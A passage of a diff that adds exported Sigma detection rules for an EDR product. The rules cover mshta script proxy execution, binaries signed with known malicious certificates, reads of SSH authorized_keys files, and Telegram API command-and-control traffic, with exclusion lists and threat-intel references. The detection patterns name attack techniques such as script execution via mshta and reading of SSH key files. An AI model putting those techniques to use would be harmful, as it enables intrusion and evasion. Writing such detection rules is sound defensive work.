selection_bin:\n        - Image|endswith: '\\mshta.exe'\n        - OriginalFileName: 'MSHTA.EXE'\n\n    selection_jscript:\n        - CommandLine|contains:\n            - 'javascript:'\n            - 'vbscript:'\n            - 'about:'\n\n    exclusion_ivanti:\n        Ancestors|contains:\n            - '?:\\Program Files (x86)\\Ivanti\\EPM Agent\\SWD\\sdistbat.exe|?:\\Program Files (x86)\\Ivanti\\EPM Agent\\SWD\\SDCLIENT.EXE|?:\\Program Files (x86)\\Ivanti\\EPM Agent\\Shared Files\\residentAgent.exe'\n            - '?:\\Program Files\\Ivanti\\EPM Agent\\SWD\\sdistbat.exe|?:\\Program Files\\Ivanti\\EPM Agent\\SWD\\SDCLIENT.EXE|?:\\Program Files\\Ivanti\\EPM Agent\\Shared Files\\residentAgent.exe'\n\n    exclusion_msgbox:\n        CommandLine|startswith:\n            - 'mshta vbscript:Execute(msgbox'\n            - 'mshta.exe vbscript:Execute(msgbox'\n\n    exclusion_smartcontrol:\n        CommandLine|contains: '?:\\SmartControlBeta\\resources\\bin\\ext\\GLHubUpdateToolCli_ISP.exe'\n\n    condition: all of selection_* and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "d5a4403b-552a-4e35-8da6-8a73481e966f",
+  "rule_name": "Proxy Execution of JScript via mshta.exe",
+  "rule_description": "Mshta can be used to proxy the execution of a malicious VBScript/JScript.\nThis script may, in turn, be used to run abritrary code on the infected system.\nIt is recommended to investigate the parent process for suspicious activities as well as to look for subsequent suspicious actions stemming from the mshta process itself.\n",
+  "rule_creation_date": "2021-02-10",
+  "rule_modified_date": "2025-04-25",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1218.005"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "d5b14d8f-5c6d-4e7f-884a-c0f4c1663795",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.625773Z",
+  "creation_date": "2026-03-23T11:45:34.625775Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.625779Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://blog.talosintelligence.com/old-certificate-new-signature/",
+    "https://www.bitdefender.com/files/News/CaseStudies/study/421/Bitdefender-PR-Whitepaper-IndEs-creat6269-en-EN.pdf",
+    "https://twitter.com/th3_protoCOL/status/1587823143854698497",
+    "https://blogs.blackberry.com/en/2022/11/romcom-spoofing-solarwinds-keepass",
+    "https://www.trendmicro.com/en_us/research/22/c/purple-fox-uses-new-arrival-vector-and-improves-malware-arsenal.html",
+    "https://twitter.com/pr0xylife/status/1595096438798696448",
+    "https://www.mandiant.com/resources/blog/hunting-attestation-signed-malware",
+    "https://twitter.com/ESETresearch/status/1594937059348992001",
+    "https://twitter.com/jaydinbas/status/1646475092006785027",
+    "https://www.trendmicro.com/en_us/research/23/e/blackcat-ransomware-deploys-new-signed-kernel-driver.html",
+    "https://attack.mitre.org/techniques/T1553/002/"
+  ],
+  "name": "t1553_002_process_malicious_certificate.yml",
+  "content": "title: Process Executed Signed with Malicious Certificate\nid: d5b14d8f-5c6d-4e7f-884a-c0f4c1663795\ndescription: |\n    Detects the execution of files signed with a certificate that was used by malicious actors.\n    This can be indicative of a malicious actor trying to evade EDR/AV solutions with a forged signature.\n    It is recommended to analyze the binary for malicious content and to look for suspicious actions on the host.\nreferences:\n    - https://blog.talosintelligence.com/old-certificate-new-signature/\n    - https://www.bitdefender.com/files/News/CaseStudies/study/421/Bitdefender-PR-Whitepaper-IndEs-creat6269-en-EN.pdf\n    - https://twitter.com/th3_protoCOL/status/1587823143854698497\n    - https://blogs.blackberry.com/en/2022/11/romcom-spoofing-solarwinds-keepass\n    - https://www.trendmicro.com/en_us/research/22/c/purple-fox-uses-new-arrival-vector-and-improves-malware-arsenal.html\n    - https://twitter.com/pr0xylife/status/1595096438798696448\n    - https://www.mandiant.com/resources/blog/hunting-attestation-signed-malware\n    - https://twitter.com/ESETresearch/status/1594937059348992001\n    - https://twitter.com/jaydinbas/status/1646475092006785027\n    - https://www.trendmicro.com/en_us/research/23/e/blackcat-ransomware-deploys-new-signed-kernel-driver.html\n    - https://attack.mitre.org/techniques/T1553/002/\ndate: 2022/07/21\nmodified: 2025/12/30\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1553\n    - attack.t1553.002\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection:\n        ProcessSignatureSignerThumbprint:\n            # https://www.bitdefender.com/files/News/CaseStudies/study/421/Bitdefender-PR-Whitepaper-IndEs-creat6269-en-EN.pdf\n            - '7C496F5FE65803A45AD7BD8DA5F59B8548E08E0A'\n            # https://twitter.com/th3_protoCOL/status/1587823143854698497\n            - 'FDD415C4B8A6983CFA982ECABB6D9A55BFD9F623'\n            # https://blogs.blackberry.com/en/2022/11/romcom-spoofing-solarwinds-keepass\n            - 'F55B2365D9E837777B760305C78E674B686E5834'\n            # https://www.trendmicro.com/en_us/research/22/c/purple-fox-uses-new-arrival-vector-and-improves-malware-arsenal.html\n            - 'C7939F8303CA22EFFB28246E970B13BEE6CB8043'\n            - '9E7CE1AED4A1C8A985D76BFCD65AC71BFF75430D'\n            # https://twitter.com/pr0xylife/status/1595096438798696448\n            - 'AAD723780CD440026A6CA0AA1E9D13D09F877E8F'\n            # https://www.mandiant.com/resources/blog/hunting-attestation-signed-malware\n            - '848C69A831D3789FA2BF6D7A7C8591F80A8F7FCB'\n            - 'A8F9B64E4C5CC2AFE5E82DC3C9F44A1BDA2ED4B1'\n            - '520CD357E195B57E0BFE7AF87227F4C0737E6BDE'\n            - 'DBEB38C344441CB35FF982D1301A1C3DF992E140'\n            - '60EE3FC53D4BDFD1697AE5BEAE1CAB1C0F3AD4E3'\n            - 'AF5A136DCCED63DEFC29502FEDE9BFF7E2C16A8C'\n            - '3A1CE9C2EE30EE8D8883DFC5BF45FF0201C2AB5D'\n            # https://twitter.com/ESETresearch/status/1594937059348992001\n            - '6EF192CBD6E540F1D740D1BD96317ACAE8C6AF9D'\n            # https://www.sentinelone.com/labs/wip19-espionage-new-chinese-apt-targets-it-service-providers-and-telcos-with-signed-malware/\n            - '68FF94B5C77481CC3AB10A05F3C926711C9C5F93'\n            # https://twitter.com/SquiblydooBlog/status/1660782805687865344\n            - '84F120783C24B1300ADD782414901503AF2F964A'\n            # https://twitter.com/jaydinbas/status/1646475092006785027\n            - '6ADE753659F5624D5A5D747523F07E23CAD9E65C'\n            # https://www.trendmicro.com/en_us/research/23/e/blackcat-ransomware-deploys-new-signed-kernel-driver.html\n            - '9EEEF1B33142106A095364DD0B2BFC8A24A2A563'\n            # https://www.virustotal.com/gui/file/56066ed07bad3b5c1474e8fae5ee2543d17d7977369b34450bd0775517e3b25c/details\n            - '0DD4552A9AABC00F61E619F4812DAFADCAA48715'\n            # https://blog.talosintelligence.com/old-certificate-new-signature/\n            - '6BC9649368643760190234FBB8395F4CACC2C9CB' # WoSign Class 3 Code Signing CA - 绍兴易游网络科技有限公司\n            - '8B91C4BA4546F16D407CEB58090E1C8D82CAF2AC' # thawte SHA256 Code Signing CA - 北京汇聚四海商贸有限公司\n            - 'FE6885F629D920DCE90FB03F0DB7B95709811C0D' # thawte SHA256 Code Signing CA - 善君 韦\n            - 'F981DB345F885899FAE9382D7D3BCAF75B1CE797' # VeriSign Class 3 Code Signing 2010 CA - Beijing Chunbai Technology Development Co., Ltd\n            - 'C61A221389C98EE2FBC0E57A62DEE5A915E6C509' # VeriSign Class 3 Code Signing 2010 CA - Fuqing Yuntan Network Tech Co.,Ltd.\n            - '7B69FF55D3C39BD7D67A10F341C1443425F0C83F' # VeriSign Class 3 Code Signing 2010 CA - Zhuhai liancheng Technology Co., Ltd.\n            - '864FD20B322E8C7CDB0D7AA69C8475F09D602C3D' # VeriSign Class 3 Code Signing 2010 CA - Baoji zhihengtaiye co.,ltd\n            - '85C58500333C98954160FCA3EE9A26B659A5F451' # VeriSign Class 3 Code Signing 2010 CA - Jiangsu innovation safety assessment Co., Ltd.\n            - 'D715230B535C8937B469632EC6158761FD18AD21' # VeriSign Class 3 Code Signing 2010 CA - Shenzhen Luyoudashi Technology Co., Ltd.\n            - 'DF788AA00EB400B552923518108EB1D4F5B7176B' # VeriSign Class 3 Code Signing 2010 CA - Beijing JoinHope Image Technology Ltd.\n            - '775141B89F48B71DADC19F13011A46E537E7029C' # Thawte Code Signing CA - NHN USA Inc.\n            # https://twitter.com/1ZRR4H/status/1699923793077055821\n            # https://bazaar.abuse.ch/sample/1fc7dbbff1ea28f00d8c32de90c2559e4aa3629d26627094e92ff111e1092875/\n            - '21A97512A2959B0E74729BE220102AEF1DCF56FD'\n            # Koi Loader\n            # https://www.virustotal.com/gui/file/a43d460e43d27df91c02292c1e7d5d7920c2b3dc3b2749b1bbc7f28657588947\n            - '2A0B1BEDF4CCC933A5FDB885EDA8211F9B258ABE'\n            # https://www.virustotal.com/gui/file/f677be06af71f81c93b173bdcb0488db637d91f0d614df644ebed94bf48e6541\n            - 'C855F7541E50C98A5AE09F840FA06BADB97AB46C'\n            # https://www.virustotal.com/gui/file/5550ea265b105b843f6b094979bfa0d04e1ee2d1607b2e0d210cd0dea8aab942\n            - '686B7EBBA606303B5085633FCAA0685272B4D9B9'\n            # 'https://www.virustotal.com/gui/file/dc8e5cae55181833fa9f3dd0f9af37a2112620fd47b22e2fd9b4a1b05c68620f'\n            - '74DF2582AF3780D81A8071E260C2B04259EFC35A'\n            # e55ab7a33fc783c6b291f8f3a77615e5db40f157e1e6cff7b3472b0b8acafaf0\n            - 'FA6146F1FDAD58B8DB08411C459CB70ACF82846D'\n            # 15b195152a07bb22fec82aa5c90c7ff44a10c0303446ce11f683094311a8916b\n            - '561620A3F0BF4FB96898A99252B85B00C468E5AF'\n            # ef2d8f433a896575442c13614157261b32dd4b2a1210aca3be601d301feb1fef\n            - '94EEBFC9A334B52FE42535DD0F2D4B052FB3D3D5'\n            # 391417a433d77b2eb838bce25e1e4f3016a260c8231af4280b82c9c021bb468e\n            - '5331A2A90EDD8F1E9745832CB6996420C57D605B'\n            # https://www.virustotal.com/gui/file/87200e8b43a6707cd66fc240d2c9e9da7f3ed03c8507adf7c1cfe56ba1a9c57d\n            - '94C21E6384F2FFB72BD856C1C40B788F314B5298'\n            # https://www.elastic.co/security-labs/abyssworker\n            - '0786E6A95B9B6FC9495F319AC2E334103AAB292F'\n            - '811500AD165F66CAD3E607CD1253A5EDC91CB4D0'\n            - 'D01B544CF4A4F901FA496BEA2B3A8F66F9583CB2'\n            - '7749BE16F266669D505684E9F002C689706C4295'\n            - '00F1435238447BBA9560E2A9A8C781861EBB15BC'\n            - 'D36A5F40D62A4CCB0CFF098D0BBFAA30257D487D'\n            - 'DA2CFA2262049049A7A2CA8FAF463669F19B8D5F'\n            - '45D2D18BCCD270185F012271C1D6B7C890BA7C02'\n            - '18760B486C35B6FF79EA5C461313DE2087353FEA'\n            # https://x.com/tangent65536/status/1914373135337701588\n            - '22EACBF575EA3FF19A6F639E80E8768405C9BDFE'\n            # https://expel.com/blog/you-dont-find-manualfinder-manualfinder-finds-you/\n            # https://www.truesec.com/hub/blog/tamperedchef-the-bad-pdf-editor\n            - '99201EEE9807D24851026A8E8884E4C40245FAC7' # GLINT SOFTWARE SDN. BHD.\n            - 'A2278EB6A438DC528F3EBFEB238028C474401BEF' # Echo Infini Sdn. Bhd.\n            - '29338264019B62D11F9C6C4B5A69B78B899B4DF6' # ECHO INFINI SDN. BHD.\n            - '17F77710C888E30917F71F7909086BCC2D131F61' # Byte Media Sdn. Bhd.\n            - '7533D9D9C5241D0E031C21304C6A3FF064F79072' # ECHO INFINI SDN. BHD.\n            - '3B5253A4853056458675B5CB1903C05BC2DBBD1B' # BLACK INDIGO LTD\n            - '76C675514EEC3A27A4E551A77ED30FBB0DC43A01' # Summit Nexus Holdings LLC\n            # https://www.virustotal.com/gui/file/f9dd0b57a5c133ca0c4cab3cca1ac8debdc4a798b452167a1e5af78653af00c1\n            - '9A6EE51A6A437603ACEE9ADC5F1A5F13329A7E59'\n            # https://securelist.com/honeymyte-kernel-mode-rootkit/118590/\n            # https://www.virustotal.com/gui/file/dc8b123d91a29661c92b0de3d4f06e0ca17b0633b87e45c09245d82bb84f3860\n            - '1F33285626E81F4845936C7A2A55A46F6DADA651'\n\n    condition: selection\nlevel: high\n# level: critical\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "d5b14d8f-5c6d-4e7f-884a-c0f4c1663795",
+  "rule_name": "Process Executed Signed with Malicious Certificate",
+  "rule_description": "Detects the execution of files signed with a certificate that was used by malicious actors.\nThis can be indicative of a malicious actor trying to evade EDR/AV solutions with a forged signature.\nIt is recommended to analyze the binary for malicious content and to look for suspicious actions on the host.\n",
+  "rule_creation_date": "2022-07-21",
+  "rule_modified_date": "2025-12-30",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1553",
+    "attack.t1553.002"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "d5bec053-13ac-498d-8233-c20cac8072d1",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "weak",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-24T07:14:08.641796Z",
+  "creation_date": "2026-03-23T11:45:34.596830Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.596837Z",
+  "rule_level": "medium",
+  "rule_confidence": "weak",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1021/004/",
+    "https://attack.mitre.org/techniques/T1484/",
+    "https://attack.mitre.org/techniques/T1098/004/"
+  ],
+  "name": "t1021_004_ssh_authorized_keys_read_linux.yml",
+  "content": "title: SSH Authorized Keys Read\nid: d5bec053-13ac-498d-8233-c20cac8072d1\ndescription: |\n    Detects an attempt to read the content of ~/.ssh/authorized_keys.\n    This file contains the list of SSH keys that are allowed to connect to that account.\n    Reading this file can therefore be an attempt to discover new hosts or facilitate lateral movement.\n    It is recommended to look for other malicious actions the ancestors processes may have taken.\nreferences:\n    - https://attack.mitre.org/techniques/T1021/004/\n    - https://attack.mitre.org/techniques/T1484/\n    - https://attack.mitre.org/techniques/T1098/004/\ndate: 2022/11/18\nmodified: 2026/03/23\nauthor: HarfangLab\ntags:\n    - attack.lateral_movement\n    - attack.t1021.004\n    - attack.defense_evasion\n    - attack.privilege_escalation\n    - attack.t1484\n    - attack.persistence\n    - attack.t1098.004\n    - classification.Linux.Source.Filesystem\n    - classification.Linux.Behavior.SensitiveInformation\n    - classification.Linux.Behavior.Lateralization\nlogsource:\n    category: filesystem_event\n    product: linux\ndetection:\n    selection_path:\n        - Path:\n            - '/home/*/.ssh/authorized_keys'\n            - '/home/*/.ssh/authorized_keys2'\n            - '/root/.ssh/authorized_keys'\n            - '/root/.ssh/authorized_keys2'\n          ProcessImage|contains: '?'\n        - TargetPath:\n            - '/home/*/.ssh/authorized_keys'\n            - '/home/*/.ssh/authorized_keys2'\n            - '/root/.ssh/authorized_keys'\n            - '/root/.ssh/authorized_keys2'\n          ProcessImage|contains: '?'\n\n    selection_read_access:\n        Kind: 'access'\n        Permissions: 'read'\n\n    exclusion_ssh:\n        - ProcessImage|endswith: '/ssh'\n        - ProcessParentImage|endswith: '/ssh'\n\n    exclusion_sshd:\n        - ProcessImage|endswith: '/sshd'\n        - ProcessParentImage|endswith: '/sshd'\n\n    exclusion_scp:\n        - ProcessImage|endswith: '/scp'\n        - ProcessParentImage|endswith: '/scp'\n\n    exclusion_ssh_keygen:\n        - ProcessImage: '/usr/bin/ssh-keygen'\n\n    exclusion_common:\n        ProcessImage:\n            - '/bin/grep'\n            - '/usr/bin/grep'\n            - '/usr/bin/rsync'\n            - '/bin/tar'\n            - '/usr/bin/tar'\n            - '/usr/bin/systemd-tmpfiles'\n            - '/usr/bin/file'\n            - '/usr/bin/caja'\n            - '/usr/bin/rpm'\n\n    exclusion_opt:\n        ProcessImage:\n            - '/opt/eset/*'\n            - '/opt/ds_agent/*'\n            - '/opt/McAfee/ens/tp/bin/mfetpd'\n            - '/opt/commvault/iDataAgent64/clBackup'\n            - '/opt/commvault2/iDataAgent64/clBackup'\n            - '/opt/deepinstinct/bin/DeepManagementService'\n            - '/opt/rudder/bin/cf-agent'\n            - '/opt/bitdefender-security-tools/bin/bdsecd'\n            - '/opt/cybereason/sensor/bin/cbram'\n            - '/opt/hpud/*/.discagnt/udscan'\n            - '*/openv/netbackup/bin/bpbkar'\n            - '/opt/sophos-av/engine/_/savscand.?'\n\n    exclusion_yum:\n        ProcessCommandLine:\n            - '/usr/bin/python /bin/yum update'\n            - '/usr/bin/python /bin/yum update -y'\n\n    exclusion_puppetlabs:\n        - ProcessImage|startswith: '/opt/puppetlabs/'\n        - ProcessParentImage|startswith: '/opt/puppetlabs/'\n        - ProcessCommandLine|startswith:\n            - '/opt/puppetlabs/'\n            - '/usr/bin/ruby /usr/bin/puppet agent '\n        - ProcessAncestors|contains: '/opt/puppetlabs/puppet/bin/ruby'\n\n    exclusion_clamscan:\n        ProcessImage: '/usr/bin/clamscan'\n\n    exclusion_mdatp:\n        - ProcessParentImage: '/opt/microsoft/mdatp/sbin/wdavdaemon'\n        - ProcessImage: '/opt/microsoft/mdatp/sbin/wdavdaemon'\n\n    exclusion_zabbix:\n        ProcessImage: '/usr/sbin/zabbix_agentd'\n\n    exclusion_ureadahead:\n        ProcessImage: '/sbin/ureadahead'\n\n    exclusion_seahorse:\n        ProcessImage: '/usr/bin/seahorse'\n\n    exclusion_aide:\n        ProcessImage|endswith: '/bin/aide'\n\n    exclusion_template_ansible:\n        - ProcessCommandLine|contains:\n            - '(mitogen:*@*:*)'\n            - '/tmp/ansible-tmp-??????????.*/AnsiballZ_*.py'\n        - ProcessParentCommandLine:\n            - '/bin/sh -c /usr/bin/python* && sleep 0'\n            - '/bin/sh -c /usr/libexec/platform-python && sleep 0'\n            - '/bin/sh -c LANG=C /usr/bin/python* && sleep 0'\n            - '/bin/sh -c LANG=C /usr/libexec/platform-python && sleep 0'\n        - ProcessParentCommandLine|contains:\n            - '(mitogen:*@*:*)'\n            - '/tmp/ansible-tmp-??????????.*/ansiballz_*.py'\n            - '/bin/sh -c echo BECOME-SUCCESS-???????????????????????????????? ; '\n        - ProcessGrandparentCommandLine:\n            - '/bin/sh -c /usr/bin/python* && sleep 0'\n            - '/bin/sh -c /usr/libexec/platform-python && sleep 0'\n            - '/bin/sh -c LANG=C /usr/bin/python* && sleep 0'\n            - '/bin/sh -c LANG=C /usr/libexec/platform-python && sleep 0'\n        - ProcessGrandparentCommandLine|contains:\n            - '(mitogen:*@*:*)'\n            - '/tmp/ansible-tmp-??????????.*/ansiballz_*.py'\n            - '/bin/sh -c echo BECOME-SUCCESS-???????????????????????????????? ; '\n        - ProcessGrandparentParentCommandLine|contains:\n            - '(mitogen:*@*:*)'\n            - '/tmp/ansible-tmp-??????????.*/ansiballz_*.py'\n            - '/bin/sh -c echo BECOME-SUCCESS-???????????????????????????????? ; '\n        - ProcessGrandparentGrandparentCommandLine|contains:\n            - '(mitogen:*@*:*)'\n            - '/tmp/ansible-tmp-??????????.*/ansiballz_*.py'\n            - '/bin/sh -c echo BECOME-SUCCESS-???????????????????????????????? ; '\n\n    exclusion_tina:\n        ProcessCommandLine:\n            - '/tina/atempodedupengine/default/bin/.exe.ade_server'\n            - '/tina/atempowebinterfaces/*'\n            - '/tina/timenavigator/tina/*'\n            - '/usr/atempo/timenavigator/tina/3rdparty/*'\n            - '/usr/atempo/timenavigator/tina/bin/*'\n            - '/usr/tina/bin/*'\n            - '/usr/tina/timenavigator/tina/bin/*'\n            - '/var/hote/timenavigator/tina/3rdparty/*'\n            - '/var/hote/timenavigator/tina/bin/*'\n\n    exclusion_bacula:\n        ProcessImage:\n            - '/usr/sbin/bacula-fd'\n            - '/opt/bacula/bin/bacula-fd'\n\n    exclusion_wazuh:\n        ProcessImage: '/var/ossec/bin/wazuh-syscheckd'\n\n    exclusion_fsecure:\n        - ProcessImage|startswith:\n            - '/opt/f-secure/linuxsecurity/'\n            - '/opt/f-secure/baseguard/'\n        - ProcessParentImage|startswith:\n            - '/opt/f-secure/linuxsecurity/'\n            - '/opt/f-secure/baseguard/'\n        - ProcessGrandparentImage|startswith:\n            - '/opt/f-secure/linuxsecurity/'\n            - '/opt/f-secure/baseguard/'\n\n    exclusion_proxmox:\n        ProcessImage:\n            - '/usr/bin/proxmox-backup-client'\n            - '/usr/local/sbin/proxmox-backup-client'\n\n    exclusion_google_guest_agent:\n        ProcessImage: '/usr/bin/google_guest_agent'\n\n    exclusion_netwitness_logcollector:\n        - ProcessCommandLine: '/bin/bash /etc/netwitness/ng/logcollector/lctwin'\n        - ProcessParentCommandLine: '/bin/bash /etc/netwitness/ng/logcollector/lctwin'\n\n    exclusion_tanium:\n        ProcessAncestors|contains:\n            - '/opt/tanium/taniumclient/taniumclient'\n            - '/opt/tanium/taniumclient/taniumspawnhelper'\n            - '/opt/tanium/taniumclient/taniumcx'\n\n    exclusion_lacework_datacollector:\n        # /var/lib/lacework/6.11.0.21858/datacollector\n        # /var/lib/lacework/6.7.6.19823/datacollector\n        ProcessImage: '/var/lib/lacework/*/datacollector'\n\n    exclusion_cfagent:\n        - ProcessAncestors|contains: '/usr/sbin/cfexecd'\n        - ProcessImage: '/usr/sbin/cfagent'\n\n    exclusion_hive_client:\n        ProcessCommandLine|startswith:\n            - '/usr/bin/python? /usr/local/bin/hive-client '\n            - '/usr/bin/python?.? /usr/local/bin/hive-client '\n            - '/usr/bin/python?.?? /usr/local/bin/hive-client '\n\n    exclusion_nessus_scan:\n        - ProcessParentCommandLine: 'sh -c printf \"command_start_%s\" \"*\"; *; printf \"command_done_%s\" \"*\"'\n        - ProcessGrandparentCommandLine: 'sh -c printf \"command_start_%s\" \"*\"; *; printf \"command_done_%s\" \"*\"'\n\n    exclusion_jumpcloud:\n        ProcessAncestors|contains: '/opt/jc/bin/jumpcloud-agent'\n\n    exclusion_oneautomation:\n        ProcessAncestors|contains: '/oneautomation/*/smgr/bin/ucybsmgr|'\n\n    exclusion_containerd:\n        ProcessAncestors|contains:\n            - '|/usr/bin/containerd|'\n            - '|/usr/bin/containerd-shim-runc-v2|'\n\n    exclusion_tripwire:\n        ProcessImage: '/usr/sbin/tripwire'\n\n    exclusion_gapplication_service:\n        ProcessCommandLine|contains: '--gapplication-service'\n        ProcessImage:\n            - '/usr/bin/nautilus'\n            - '/usr/bin/gedit'\n\n    exclusion_cloudinit:\n        ProcessCommandLine|startswith:\n            - '/usr/bin/python? /usr/bin/cloud-init '\n            - '/usr/libexec/platform-python /usr/bin/cloud-init '\n\n    exclusion_salt:\n        - ProcessCommandLine:\n            - '/usr/bin/python* /usr/bin/salt-minion'\n            - '/usr/bin/python3 /usr/bin/salt-call *'\n            - '/usr/libexec/platform-python /usr/bin/salt-call *'\n        - ProcessImage: '/opt/saltstack/salt/bin/python?.??'\n\n    condition: all of selection_* and not 1 of exclusion_*\nlevel: medium\nconfidence: weak\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "d5bec053-13ac-498d-8233-c20cac8072d1",
+  "rule_name": "SSH Authorized Keys Read",
+  "rule_description": "Detects an attempt to read the content of ~/.ssh/authorized_keys.\nThis file contains the list of SSH keys that are allowed to connect to that account.\nReading this file can therefore be an attempt to discover new hosts or facilitate lateral movement.\nIt is recommended to look for other malicious actions the ancestors processes may have taken.\n",
+  "rule_creation_date": "2022-11-18",
+  "rule_modified_date": "2026-03-23",
+  "rule_os": "linux",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.lateral_movement",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1021.004",
+    "attack.t1098.004",
+    "attack.t1484"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "d5ec5548-f8e7-4ca3-ba05-1cd2c00b7965",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.082769Z",
+  "creation_date": "2026-03-23T11:45:34.082771Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.082775Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.ncsc.gov.uk/files/NCSC-Malware-Analysis-Report-Small-Sieve.pdf",
+    "https://www.cloudsek.com/blog/breaking-into-the-bandit-stealer-malware-infrastructure",
+    "https://attack.mitre.org/techniques/T1102/002/",
+    "https://attack.mitre.org/techniques/T1071/001/"
+  ],
+  "name": "t1102_002_url_request_telegram_api.yml",
+  "content": "title: URL Request to Telegram API\nid: d5ec5548-f8e7-4ca3-ba05-1cd2c00b7965\ndescription: |\n    Detects URL requests to the Telegram API.\n    Adversaries may use an existing, legitimate external Web service like Telegram Bot as a mean to sending commands to and receiving output from a compromised system over the Web service channel.\n    It is recommended to investigate the process at the origin of the connection to determine whether he can legitimately communicate with Telegram API.\nreferences:\n    - https://www.ncsc.gov.uk/files/NCSC-Malware-Analysis-Report-Small-Sieve.pdf\n    - https://www.cloudsek.com/blog/breaking-into-the-bandit-stealer-malware-infrastructure\n    - https://attack.mitre.org/techniques/T1102/002/\n    - https://attack.mitre.org/techniques/T1071/001/\ndate: 2023/10/04\nmodified: 2025/04/29\nauthor: HarfangLab\ntags:\n    - attack.command_and_control\n    - attack.t1102.002\n    - attack.t1071.001\n    - classification.Windows.Source.UrlRequest\n    - classification.Windows.Behavior.NetworkActivity\n    - classification.Windows.Behavior.Masquerading\n    - classification.Windows.Behavior.CommandAndControl\nlogsource:\n    product: windows\n    category: url_request\ndetection:\n    selection:\n        RequestUrlHost: 'api.telegram.org'\n\n    filter_telegram:\n        ProcessSigned: 'true'\n        ProcessSignature: 'Telegram FZ-LLC'\n\n    exclusion_cisco:\n        ProcessImage: '?:\\Users\\\\*\\AppData\\Local\\CiscoSparkLauncher\\CiscoCollabHost.exe'\n\n    condition: selection and not 1 of filter_* and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "d5ec5548-f8e7-4ca3-ba05-1cd2c00b7965",
+  "rule_name": "URL Request to Telegram API",
+  "rule_description": "Detects URL requests to the Telegram API.\nAdversaries may use an existing, legitimate external Web service like Telegram Bot as a mean to sending commands to and receiving output from a compromised system over the Web service channel.\nIt is recommended to investigate the process at the origin of the connection to determine whether he can legitimately communicate with Telegram API.\n",
+  "rule_creation_date": "2023-10-04",
